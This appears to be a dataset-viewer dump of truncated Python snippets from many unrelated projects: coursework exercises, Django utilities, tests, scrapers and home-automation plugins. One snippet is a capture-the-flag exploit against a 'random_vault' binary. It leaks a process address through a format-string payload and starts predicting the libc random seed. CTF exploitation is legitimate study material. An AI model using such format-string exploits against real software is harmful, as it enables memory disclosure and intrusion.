content stringlengths 5 1.05M |
|---|
"""
Leia uma frase qualquer e diga se ela é um palíndromo
UMA FORMA SEM O FOR
inverso = junto[::-1]
"""
frase = str(input('Digite uma frase qualquer: ')).strip()
div = frase.split()
junto = ''.join(div) # junção das palavras
inverso = ''
for letra in range(len(junto) - 1, -1, -1):
inverso += junto[letra]
if invers... |
from django.http import HttpResponse
from django.contrib.admin.views.decorators import staff_member_required
from django.contrib.auth import get_user_model
from django.utils import formats
import csv
import itertools
User = get_user_model()
def csv_out(qs, headers, row_export_func, file_name='export'):
""" Expo... |
import csv
import gzip
from pathlib import Path
from rich.console import Console
from typing import Union, List, Iterator
SENTIMENT_CLASS_VALUES = ['POSITIVE', 'NEGATIVE']
PRODUCT_CATEGORIES = ['Kitchen', 'DVD', 'Books', 'Electronics']
CORPUS_SIZE = 5600
console = Console()
__general_download_message__ = """Ensure ... |
# ---------------------------------------------------------------------------------------------------------------------
# AoC 2021
# ---------------------------------------------------------------------------------------------------------------------
# 18.py
# -----------------------------------------------------------... |
'''
Created on 2015-01-16
@author: levi
'''
from pyswip import Prolog
from attribute_equation_solver import AttributeEquationSolver
class PrologAttributeEquationEvaluator(AttributeEquationSolver):
"""
Simple constraint solver based on prolog for string equations in path conditions.
Requires pyswip, a b... |
import hashlib
import sys
# 58 character alphabet used
BASE58_ALPHABET = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'
# code reference url:https://www.cnblogs.com/zhaoweiwei/p/address.html
def from_bytes (data, big_endian = False):
if isinstance(data, str):
data = bytearray(data)
if ... |
# Copyright 2018-2020 Xanadu Quantum Technologies Inc.
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
# http://www.apache.org/licenses/LICENSE-2.0
# Unless required by applicable law or... |
import re
pattern = r"(.+) \1"
"""Note, that "(.+) \1" is not the same as "(.+) (.+)", because \1 refers to
the first group's subexpression, which is the matched expression itself, and
not the regex pattern."""
match = re.match(pattern, "word word")
if match:
print("Match 1")
print(match.group(1))
print(... |
from unittest import TestCase
import pandas as pd
from exchange_calendars.extensions.exchange_calendar_krx import KRXExchangeCalendar
class KRXCalendarTestCase(TestCase):
MAX_SESSION_HOURS = 8.5
def test_2017_holidays(self):
# lunar new years: jan 27, 30
# independence day: mar 1
# ... |
import media
import fresh_tomatoes
""" Instances consist of 4 arguments each that are passed into the
module media.py and uses its class Movie """
# 6 instances that calls __init__ method in the module media.py
star_wars = media.Movie(
"Star Wars",
"A story of a boy a girl and the universe",
... |
eval_file = 'pred_eval.txt'
test_file = 'pred_test.txt'
with open("twitter-datasets/eval_data.txt", "r") as f:
labels = []
for line in f.readlines():
labels.append(int(line.strip().split(",")[0]))
with open(eval_file, "r") as f:
correct = 0
total = 0
for i, line in enumerate(f.readlines())... |
"""Define a Jupyter Notebook extension to export Notebooks to PDF.
This module takes the selected Jupyter Notebook files and converts
them to a single PDF.
"""
import os
import io
from typing import List, Dict, TYPE_CHECKING, Union
from notebook.base.handlers import IPythonHandler, web, path_regex, FilesRedirectHand... |
from ..storage import source_utils
from ..storage.caching import cache
from .. import config
from .storage import FeatureConstructor
from ..storage import dataframe
from IPython.display import display
from glob import glob
import os
def preview(df, sizes=(2, 4, 6)):
"""
Applies function to heads of particular... |
from pydantic import BaseModel, validator
from tracardi.process_engine.tql.condition import Condition
class Configuration(BaseModel):
condition: str
true_action: str = 'add'
false_action: str = 'remove'
true_segment: str
false_segment: str
@validator("condition")
def is_valid_condition(cl... |
"""Check for import problems.""" # pylint: disable=invalid-name
# [ Imports:Python ]
import ast
import contextlib
import os
import pathlib
import re
import sys
import types
import typing
# [ Imports:Third Party ]
import setuptools # type: ignore
# [ Types ]
IndexedStrings = typing.List[typing.Tuple[int, str]]
... |
print("AREA OF TRIANGLE ")
print("Enter the Sides of Triangle (a,b,c)")
try :
x,y,z=input("ENTER THE VALUES OF X,Y,Z ").split() #split my space
except Exception as e:
print(e)
exit(0)
print(f"X={x}\nY={y}\nZ={z}")
x=int(x)
y=int(y)
z=int(z)
s=(x+y+z)/2
print(f"Semi-perimeter={s}")
area = (s*(s-x)*(s-y)*(s-z... |
# -*- coding: utf-8 -*-
# Copyright 2016 MongoDB, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or ... |
#!/usr/bin/python3
##
## Script to parse texlive.tlpdb and get list of files in a package
##
## Copyright (C) 2019-2020 Henrik Grimler
##
## This program is free software: you can redistribute it and/or modify
## it under the terms of the GNU General Public License as published by
## the Free Software Foundation, ... |
from django.apps import AppConfig
from django.contrib.auth import get_user_model
class UsermanagerdemoConfig(AppConfig):
name = 'cradmin_legacy.demo.usermanagerdemo'
verbose_name = "Usermanager demo"
def ready(self):
from cradmin_legacy.superuserui import superuserui_registry
appconfig = ... |
# Generated by Django 2.0.2 on 2018-03-06 16:44
from django.db import migrations, models
import django.db.models.deletion
import django.utils.timezone
import model_utils.fields
class Migration(migrations.Migration):
dependencies = [
('contenttypes', '0002_remove_content_type_name'),
('django_dyn... |
# modules
import matplotlib.pyplot as plt
from sklearn.datasets import make_moons
from neural_network import NeuralNetwork
# prepare dataset
X, y = make_moons(n_samples=200, noise=0.2, random_state=42)
# instantiate a NeuralNetwork object and train the network
nn = NeuralNetwork(X, y, learning_rate = 0.001, epochs = ... |
""""
scrapyd api 的异步实现
"""
|
from allauth.utils import get_user_model
def create_user():
"""Creates a test user."""
user_model_class = get_user_model()
return user_model_class.objects.create_user(
username='testuser', password='testpass'
)
|
#Copyright ReportLab Europe Ltd. 2000-2004
#see license.txt for license details
#history http://www.reportlab.co.uk/cgi-bin/viewcvs.cgi/public/reportlab/trunk/reportlab/test/test_paragraphs.py
# tests some paragraph styles
import unittest
from tests.utils import makeSuiteForClasses, outputfile, printLocation
... |
import os,time,sys
sys.path.append('../')
import numpy as np
from datasets.load import loadDataset
from parse_args_dkf import parse; params = parse()
from utils.misc import removeIfExists,createIfAbsent,mapPrint,saveHDF5,displayTime
if params['dataset']=='':
params['dataset']='synthetic9'
dataset = loadDataset(p... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from time import localtime, strftime
import argparse
from argparse import RawTextHelpFormatter
from gdcmdtools.find import GDFind
from gdcmdtools.base import BASE_INFO
from gdcmdtools.base import DEBUG_LEVEL
from gdcmdtools.perm import help_permissio... |
"""Tags for Django template system that help generating QR codes."""
from django import template
from qr_code.qrcode.maker import make_qr_code
from qr_code.qrcode.utils import make_email_text, make_google_play_text, make_tel_text, make_sms_text, \
make_youtube_text, WifiConfig, ContactDetail, Coordinates
registe... |
n = int(input())
x = list(map(int, input().split()))
avg = round(sum(x) / n)
ans = 0
for xi in x:
ans += (xi - avg) ** 2
print(ans)
|
import sys
import click
from click_rich_help import StyledCommand
@click.command(cls=StyledCommand, styles={"header": "bold red underline reverse"})
@click.option("--count", default=1, help="[red]Number[/red] of greetings.")
@click.option("--name", prompt="Your name", help="The person to greet.")
def hello(count, n... |
import sys
sys.path.append('../py')
from iroha import *
from iroha.iroha import *
d = IDesign()
mod_top = IModule(d, "M_top")
tab_top = ITable(mod_top)
mod_sub = IModule(d, "M_sub")
mod_sub.parent_module = mod_top
tab_sub = ITable(mod_sub)
mod_sibling = IModule(d, "M_sibling")
mod_sibling.parent_module = mod_top
ta... |
import json
import textwrap
from enum import Enum
from jsonify import jsonify
class IssueLevel(Enum):
INFO = 1
WARN = 2
ERR = 3
def __lt__(self, other):
return self.value < other.value
class Bulletin:
name: str = None
description: str = None
data = None
level: IssueLevel
... |
from . import settings
from mangopay.api import APIRequest
handler = APIRequest(client_id=settings.MANGOPAY_CLIENT_ID,
passphrase=settings.MANGOPAY_PASSPHRASE,
sandbox=settings.MANGOPAY_USE_SANDBOX)
from mangopay.resources import * # noqa
|
import image, lcd, sensor,gc
from fpioa_manager import fm,board_info
import KPU as kpu
from Maix import GPIO
from pmu import axp192
from machine import UART,I2C
import KPU as kpu
# Refference code anoken 2019
# https://gist.github.com/anoken/8b0ce255e9aef9d1a7f4d46272cedcaa#file-maixpy_unitv-py-L9
#------------------... |
from __future__ import annotations
from dataclasses import dataclass, field
from enum import Enum
from typing import Dict, List, Optional, Type, TypeVar, Union
from urllib.parse import urlparse
ArgumentsType = Dict[str, Union[str, bool, int]]
class ExchangeType(Enum):
topic = 'topic'
direct = 'direct'
... |
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under t... |
a = 2
b = 7
m = 8
p = 1
for i in range(b):
print(p)
p *= a
p %= m
print(p) |
import unittest
from p2bf.builder import BFBuild
from p2bf.emitter import Emitter
import StringIO
from util.run_bf import run
class TestVariableAssignment(unittest.TestCase):
def test_single_assignment(self):
emit_output = StringIO.StringIO()
run_output = StringIO.StringIO()
emitter = Emit... |
from fastapi.testclient import TestClient
from docs_src.dataclasses.tutorial003 import app
client = TestClient(app)
openapi_schema = {
"openapi": "3.0.2",
"info": {"title": "FastAPI", "version": "0.1.0"},
"paths": {
"/authors/{author_id}/items/": {
"post": {
"summary":... |
#!/usr/bin/env python
# coding: utf-8
# In[1]:
# Dependencies
from bs4 import BeautifulSoup as bs
from splinter import Browser
import time
import pandas as pd
import requests
from webdriver_manager.chrome import ChromeDriverManager
# In[2]:
# Initialize Browser
def init_browser():
executable_path = {'execu... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# SPDX-License-Identifier: Apache-2.0
# SPDX-FileCopyrightText: © 2021 Massachusetts Institute of Technology.
# SPDX-FileCopyrightText: © 2021 Lee McCuller <mcculler@mit.edu>
# NOTICE: authors should document their contributions in concisely in NOTICE
# with details inline ... |
'''
Problem description:
Welcome.
In this kata you are required to, given a string, replace every letter with its position in the alphabet.
If anything in the text isn't a letter, ignore it and don't return it.
"a" = 1, "b" = 2, etc.
Example
alphabet_position("The sunset sets at twelve o' clock.")
Should return "2... |
"""
This file contains helper functions for the scanpy test suite.
"""
from itertools import permutations
import scanpy as sc
import numpy as np
import warnings
import pytest
from anndata.tests.helpers import asarray, assert_equal
from scanpy.tests._data._cached_datasets import pbmc3k
# TODO: Report more context on ... |
#! /usr/bin/env python
####################
import indigo
import os
import sys
import datetime
import time
import json
import copy
from copy import deepcopy
import requests
from ImageProcessingAdapter import ImageProcessingOptions
from GoogleVisionAdapter import GoogleImageProcessingAdapter
from AWSRekognitionAdapte... |
import csv
import sys
from random import choice
with open(sys.argv[1], 'r', newline='') as file:
temp_csv = csv.reader(file)
contestant_list = [line for line in temp_csv]
winner = choice(contestant_list)
contestant_list.remove(winner)
with open(sys.argv[1], 'w', newline='') as outfile:
writer = csv.wri... |
from ptrlib import *
import ctypes
glibc = ctypes.cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc-2.27.so')
sock = Process("./random_vault")
# leak proc
sock.sendlineafter(": ", "%11$p")
sock.recvuntil("Hello, ")
proc_base = int(sock.recvline(), 16) - 0x1750
logger.info("proc = " + hex(proc_base))
# set seed
sock.sendl... |
import unittest
from utils import is_square
class TestIsSquare(unittest.TestCase):
def test_is_square(self):
self.assertTrue(is_square(1))
self.assertFalse(is_square(2))
self.assertFalse(is_square(3))
self.assertTrue(is_square(4))
self.assertFalse(is_square(6))
sel... |
import json
import os
import re
import spacy
from argparse import ArgumentParser
from copy import deepcopy
from tqdm import tqdm
parser = ArgumentParser()
parser.add_argument("--in-file",type=str)
parser.add_argument("--out-dir",type=str)
args = parser.parse_args()
nlp = spacy.load('en_core_web_sm')
if not os.p... |
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,... |
# Copyright (C) 2018-2021 Intel Corporation
# SPDX-License-Identifier: Apache-2.0
import unittest
from mo.utils.error import classify_error_type
class TestingErrorClassifier(unittest.TestCase):
def test_no_module(self):
message = "No module named 'openvino.offline_transformations.offline_transformations... |
import requests
from unittest import TestCase
from . import BASE_URL, test_token, test_config
url = BASE_URL + '/snapshot/add'
class TestAddSnapshot(TestCase):
def test_post_working(self):
"""
this test will pass the snapshot/add method
"""
payload = {
"token": test_t... |
from ecies.utils import generate_eth_key, generate_key
from ecies import encrypt, decrypt
eth_k = generate_eth_key()
sk_hex = eth_k.to_hex() # hex string
pk_hex = eth_k.public_key.to_hex() # hex string
data = b'this is a test'
encrypt_str = encrypt(pk_hex, data)
print(encrypt_str)
decrypt_str = decrypt(sk_hex, encr... |
#!/usr/bin/python3
# Copyright 2018-2019 Leland Lucius
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http:#www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law... |
# Generated by Django 3.1.7 on 2021-06-16 16:37
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Config',
fields=[
('id', models.AutoField(a... |
"""
"""
# Build In
from argparse import ArgumentParser
# Installed
import numpy as np
# Local
from . import Model, MOTION_MODELS
def init_constant_accumulation_parser(parents=[]):
parser = ArgumentParser(
parents=parents,
description='Arguments for a Constant Accumulation model'
)
parser.ad... |
#!/usr/bin/env python
from __future__ import division, print_function
import argparse,sys,os
import random
from collections import Counter
from matplotlib import pyplot as plt
import wordcloud
from wordcloud import WordCloud
import pandas as pd, numpy as np
from IPython.display import display, HTML
from weasyprint im... |
def solution(r):
answer = 0
for i in range(1, r):
for j in range(1, r):
if i ** 2 + j ** 2 <= r ** 2:
answer += 1
return answer * 4
def main():
r = int(input())
print(solution(r))
if __name__ == '__main__':
main()
|
label_to_num = {
'normal': 0,
'tuberculosis': 1,
}
num_to_label = {v:k for k,v in label_to_num.items()}
|
#!/usr/bin/env python3
#
# Copyright (c) 2014-present, Facebook, Inc.
#
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
#
from __future__ import absolute_import
from __future__ import print_function
from __future__ import unicode_literals
fro... |
# -*- coding: utf-8 -*-
import collections.abc
import itertools
import math
ABS_TOL = 1e-7 # default value for math.isclose
class Vector(collections.abc.Sequence):
"""A vector, as described by xy or xyz coordinates.
In crossproduct a Vector object is a immutable sequence.
Iterating over a Vector ... |
import glob
from moviepy.editor import *
images = glob.glob(r'/home/z1143165/video-GAN/output_networks/jelito3d_batchsize8/jelito3d_batchsize8_s8_i200000_interpolations/?_?/*')
images = sorted(images)
print('generating')
for img in images:
print(img)
clip = ImageSequenceClip(images, fps=30)
print(clip.du... |
import numpy as np
import time
from common.params import Params
from cereal import log
from common.realtime import sec_since_boot
from selfdrive.controls.lib.speed_smoother import speed_smoother
_LON_MPC_STEP = 0.2 # Time stemp of longitudinal control (5 Hz)
_MIN_ADAPTING_BRAKE_ACC = -1.5 # Minimum acceleration all... |
import textwrap
from bidict import bidict
from itertools import count
from .logging import logger
from .primitive_generators import PrimitiveGenerator
from .derived_generators import Apply, GetAttribute, Lookup, SelectOneDerived
__all__ = ['SpawnContext']
class NoExistingSpawn(Exception):
"""
Custom excepti... |
from flask import Flask, flash, redirect, render_template, request, session, abort,url_for
import os,jsonlines
import matplotlib.pyplot as plt
import io,smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
# import encoders
import subprocess
im... |
import os
import logging
import enum
from copy import deepcopy
from Common.utils import LoggingUtil, GetData
from Common.loader_interface import SourceDataLoader
from Common.extractor import Extractor
from Common.node_types import AGGREGATOR_KNOWLEDGE_SOURCES, ORIGINAL_KNOWLEDGE_SOURCE
# the data header columns for ... |
# -*- coding: utf-8 -*-
import os
PYTHON_MODULE_PATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
ROOT_PATH = os.path.dirname(PYTHON_MODULE_PATH)
from tools.td_tools import Teradata
from tools.json_tools import JsonConf
from tools.email_tools import EmailTools
from tools.td_odbc_tools import Terada... |
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# Author: wxnacy@gmail.com
"""
"""
import sys
import os
import argparse
import shutil
import traceback
import pygments
from datetime import datetime
from pygments.token import Token
from pygments.lexers.python import PythonLexer
from prompt_toolkit.formatted_text import Py... |
from sanic import Sanic
import os
import asyncio
import logging
from sanic.request import Request
from sanic import response, HTTPResponse, Blueprint
from sanic.exceptions import SanicException
import httpx
from typing import Optional, Any
from . import get_cur_user
from ..logic import Worker
from ..state import User
... |
import sys
import argparse as ap
import numpy as np
import os.path as op
import logging
from astropy.table import Table
from lumfuncmcmc import LumFuncMCMC
import VmaxLumFunc as V
from scipy.optimize import fsolve
import configLF
from distutils.dir_util import mkpath
def setup_logging():
'''Setup Logg... |
#coding:utf-8
#------requirement------
#lxml-3.2.1
#numpy-1.15.2
#------requirement------
import sys
reload(sys)
sys.setdefaultencoding('utf8')
from lxml import etree
import re
import datetime
import urlparse
import gc
sys.path.append("/home/dev/Repository/news/Tegenaria/tSpider/tSpider/")
from browserRequest_weixin im... |
# -*- coding: utf-8 -*-
"""
Various test cases for the `currencies` and `updatecurrencies` management commands
"""
from __future__ import unicode_literals
import re, os, sys
from decimal import Decimal
from datetime import datetime, timedelta
from functools import wraps
if sys.version_info.major >= 3:
from unittest... |
import GEOparse
import pandas as pd
from pathlib import Path
import pathlib
import pickle
import re
from scripts.python.GEO.routines import get_gse_gsm_info, process_characteristics_ch1
gpl = 'GPL13534'
gse = 'GSE116379'
characteristics_ch1_regex_findall = ';*([a-zA-Z0-9\^\/\=\-\:\,\.\s_\(\)]+): '
characteristics_ch... |
from src.add import add
def test_add():
assert 4 == add(2, 2)
|
""" Module for Beacon APIs
Example - Get Application(s)::
from f5sdk.cs.beacon.declare import DeclareClient
declare_client = DeclareClient(mgmt_client)
declare_client.create(config={'action': 'deploy', 'declaration': []})
"""
__all__ = []
|
# -*- coding: utf-8 -*-
# Copyright 2018 Etsy Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law... |
#! /usr/bin/env python
# -*- coding: utf-8 -*-
#
# Delay Handler © Autolog 2020
#
try:
# noinspection PyUnresolvedReferences
import indigo
except ImportError:
pass
import logging
import queue
import sys
import threading
import time
import traceback
from constants import *
# noinspection PyUnresolvedRe... |
# coding: utf8
import re
import os.path
try:
from setuptools import setup
extra_kwargs = {'test_suite': 'cssselect.tests'}
except ImportError:
from distutils.core import setup
extra_kwargs = {}
ROOT = os.path.dirname(__file__)
README = open(os.path.join(ROOT, 'README.rst')).read()
INIT_PY = open(os.p... |
# Convert BST to Doubly Linked List
# the left and right pointers in nodes are to be used as prev and next pointers
# respectively in converted DLL, do it in place
def bst_to_dll(root):
return inorder(root)[0]
def inorder(root):
if not root:
return (None, None)
head = tail = root
left_head, l... |
import numpy as np
from math import sqrt, floor
from scipy.special import eval_genlaguerre
def gaussian_laguerre(p, l, mode_field_diameter=1, grid=None):
r'''Creates a Gaussian-Hermite mode.
This function evaluates a (p,l) order Gaussian-Laguerre mode on a grid.
The definition of the modes are the following,
.. ... |
class MarbleDecoration:
def maxLength(self, R, G, B):
def m(a, b):
return 2*min(a, b) + 1 - int(a == b)
return max(m(R, G), m(R, B), m(G, B))
|
load(":execute.bzl", "which")
def exec_using_which(repository_ctx, command):
"""Run the given command (a list), using the which() function in
execute.bzl to locate the executable named by the zeroth index of
`command`.
Return struct with attributes:
- error (None when success, or else str message)... |
# TTS plugin for silero engine
# author: Vladislav Janvarev
# require torch 1.10+
import os
from vacore import VACore
modname = os.path.basename(__file__)[:-3] # calculating modname
# функция на старте
def start(core:VACore):
manifest = {
"name": "TTS silero V3",
"version": "1.2",
"requ... |
class Solution:
def minSubArrayLen(self, s: int, nums: List[int]) -> int:
j=0
tong=0
res=float('inf')
for i in range(len(nums)):
tong+=nums[i]
while tong>=s and j<len(nums):
res=min(res,i-j+1)
... |
import abc
import enum
from gym.utils import EzPickle
import numpy as np
from magical.base_env import BaseEnv, ez_init
import magical.entities as en
import magical.geom as geom
class BaseClusterEnv(BaseEnv, abc.ABC):
"""There are blocks of many colours and types. You must arrange them into
distinct clusters... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# ---------------------------------------------------------------------------------------------
# Copyright (c) 2011-2015, Ryan Galloway (ryan@rsgalloway.com)
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that ... |
# Simple Wallet
# Copyright (c) 2022 Mystic Technology LLC
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify... |
"""
Abstraction for handling KNX/IP routing.
Routing uses UDP Multicast to broadcast and receive KNX/IP messages.
"""
from __future__ import annotations
import logging
from typing import TYPE_CHECKING, Callable
from xknx.knxip import (
CEMIFrame,
CEMIMessageCode,
KNXIPFrame,
KNXIPServiceType,
Rou... |
# random mathy functions
def isPalindrome(s: str) -> bool:
return s == s[::-1]
import math
def isPerfectSquare(n: int) -> bool:
return math.isqrt(n) ** 2 == n |
# -*- coding: utf-8 -*-
import os
from pymatgen.io.vasp.outputs import Vasprun
from pymatgen.electronic_structure.bandstructure import (
BandStructureSymmLine as ToolkitBandStructure,
)
from pymatgen.electronic_structure.plotter import BSPlotter
from simmate.database.base_data_types import (
table_column,
... |
import random
import math
diastaseis = True # Elegxw oti panta exw orthogwnio
while diastaseis == True:
rows = int(input("Mikos?"))
cols = int(input("Platos?"))
if rows == cols:
print("Theloume orthogwnio pinaka kai oxi tetragwno! Ksanaprospathise!")
else:
diastaseis = False
... |
import os, getpass
from decouple import config
from .hashes import *
## querying the virus total using virustotal-search.py and api
def query_virusTotal():
## getting the hash code of the file of choice
hashcode = get_hashCode()
path = os.path.dirname(__file__)
api = input("Whats your API key? ")
#... |
#!/usr/bin/python3
#
# echod.py -- a simple Python-based XCM echo server.
#
# This program is meant as an example how you can use XCM in
# non-blocking mode from Python.
#
import xcm
import sys
import errno
import asyncio
class Client:
def __init__(self, event_loop, conn_sock):
self.conn_sock = conn_sock... |
import os
import warnings
from cortstim.edp.loaders.dataset.clinical.excel_meta import ExcelReader
from cortstim.edp.loaders.dataset.result.resultloader import ResultLoader
from cortstim.edp.loaders.patient.subjectbase import SubjectBase
class SubjectResultsLoader(SubjectBase):
"""
Patient level wrapper for ... |
# -*- coding: utf-8 -*-
"""This file contains all model parameters"""
# Specify Model to be trained
input_file = "Models/Inputs/cifar10_input.py"
network_file = "Models/Networks/cnn2_2.py"
opt_file = "Models/Optimizer/adam.py"
# Optionally: Where to download data
data_url = 'http://www.cs.toronto.edu/~kriz/cifar-10-... |
import os
import requests
from flask import Flask, render_template, request, jsonify
import tensorflow as tf
from config import Config
from model import CaptionGenerator
from dataset import prepare_train_data, prepare_eval_data, prepare_test_data
app = Flask(__name__)
def download_file_from_google_drive(destinatio... |
"""Overwrite settings with production settings when going live."""
from .settings_base import *
import os
import logging.config
# Do not set SECRET_KEY, Postgres or LDAP password or any other sensitive data here.
# Instead, use environment variables or create a local.py file on the server.
# Disable debug mode
DEBUG... |
# import file(s)
from . import pca
# pca model
from .pca import PCA
|
from nsq.reader import Reader
from basescript import BaseScript
from logagg.collector import LogCollector
from logagg.forwarder import LogForwarder
from logagg.nsqsender import NSQSender
from logagg import util
class LogaggCommand(BaseScript):
DESC = "Logagg command line tool"
def collect(self):
if n... |
#!/usr/bin/python
# -*- coding: utf-8 -*-
from __future__ import absolute_import, division, print_function
__metaclass__ = type
from ansible.module_utils.basic import AnsibleModule, os, re, subprocess, time
try:
import cx_Oracle
except ImportError:
cx_oracle_exists = False
else:
cx_oracle_exists = True
... |
from pathlib import Path
from .dataset import Dataset
from .. import data
logic_gate_and = Dataset('logic_gate_and', Path(data.__file__).parent.resolve() / 'logic_gate_and', bias = -1)
logic_gate_or = Dataset('logic_gate_or', Path(data.__file__).parent.resolve() / 'logic_gate_or', bias = -1)
logic_gate_xor = Dataset... |
#
# This example initiates a session and uses the session API to exercise some common reservation operations on the session.
# This particular example is using NI-SCOPE but the session reservation API should work for any driver session.
#
# The gRPC API is built from the C API. NI-SCOPE documentation is installed wit... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.